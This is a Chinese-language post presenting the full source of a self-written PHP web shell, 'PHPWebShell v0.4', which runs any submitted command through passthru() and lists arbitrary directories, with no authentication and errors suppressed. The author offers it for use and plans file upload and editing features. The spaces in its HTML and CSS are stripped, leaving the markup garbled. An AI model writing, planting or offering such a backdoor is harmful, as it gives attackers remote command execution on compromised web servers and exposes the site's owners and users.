PHP Shell的编写(改进版)
以前写过一个没有任何技术含量的PHPCMDShell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHPShell,希望大家喜欢!
程序介绍:
程序:PHPWebShell
版本:v0.4
功能:
1.可以支持目前主流的操作系统:Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录
未来功能:
1.支持在线上传/下载文件功能
2.支持在线新建/删除/添加/修改文件功能
程序代码:
<html>
<head>
<title>PHPWebShellv0.4</title>
<!--定义文件样式-->
<style>
<!--
.input{BORDER-RIGHT:#8888881pxsolid;BORDER-TOP:#8888881pxsolid;BACKGROUND:#ffffff;BORDER-LEFT:#8888881pxsolid;BORDER-BOTTOM:#8888881pxsolid;FONT-FAMILY:"Verdana","Arial"font-color:#ffffff;FONT-SIZE:9pt;}
.font{FONT-SIZE:9pt;}
.fonts{FONT-SIZE:15pt;}
TABLE{FONT-SIZE:9pt;COLOR:#006666}
A{FONT-SIZE:9pt;COLOR:#6666cc;TEXT-DECORATION:none}
A:hover{FONT-SIZE:9pt;COLOR:#ff3333;TEXT-DECORATION:none}
BODY
{SCROLLBAR-FACE-COLOR:#ffffff;
SCROLLBAR-HIGHLIGHT-COLOR:#6c6c90;
SCROLLBAR-SHADOW-COLOR:#fcfcfc;
SCROLLBAR-3DLIGHT-COLOR:#fcfcfc;
SCROLLBAR-ARROW-COLOR:#240024;
SCROLLBAR-TRACK-COLOR:#fcfcfc;
SCROLLBAR-DARKSHADOW-COLOR:#48486c;
SCROLLBAR-BASE-COLOR:#fcfcfc
}
-->
</STYLE>
</head>
<bodybgcolor="#eeeeee"text="#000000">
<center><fontsize=3color=redclass=fonts><b>PHPWebShell</b></font>v0.4
<fontsize=2color="000000"class=font>适用系统:Win32/Linux/Unix/BSD</font>
<FORMMETHOD=POSTACTION="<?echo$PHP_SELF?>">//获取脚本本身
<fontclass=font>输入命令</font><INPUTTYPE="text"NAME="cmd"size=20class=input>
<INPUTTYPE="submit"value="执行"class=input>
<fontclass=font>输入目录</font><INPUTTYPE="text"NAME="dir"size=20class=input>
<INPUTTYPE="submit"value="浏览"class=input>
</FORM>
</center>
<pre>
<fontsize=2color="000000"class=font>
<?php
echo"服务器地址:<ahref=\"http://$_SERVER[SERVER_NAME]\">$_SERVER[SERVER_NAME]</a>
";//显示服务器域名或IP地址
echo"本文件路径:$_SERVER[PATH_TRANSLATED]";//显示文件所在路径
?>
<?php
if(!empty($cmd)){
echo"执行<fontcolor=red>$cmd</font>命令后的结果:
";//执行命令后的提示
}
if(!empty($dir)){
echo"浏览目录<fontcolor=red>$dir</font>的结果:
";//查看目录后的提示
}
?>
<hrsize=1>
<?php
if(empty($cmd)&&empty($dir)){//判断有没有输入命令,如果没有则出现错误提示
echo"请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru($cmd);//利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(),popen(),Exec()等
$f=@opendir($dir);//利用opendir()函数来获取目录信息赋值给变量
while($file=@readdir($f)){//使用readdir()函数循环读取目录信息
echo"$file\n";//分行显示获取的目录信息
}
?>
</font>
</pre>
</body>
</html>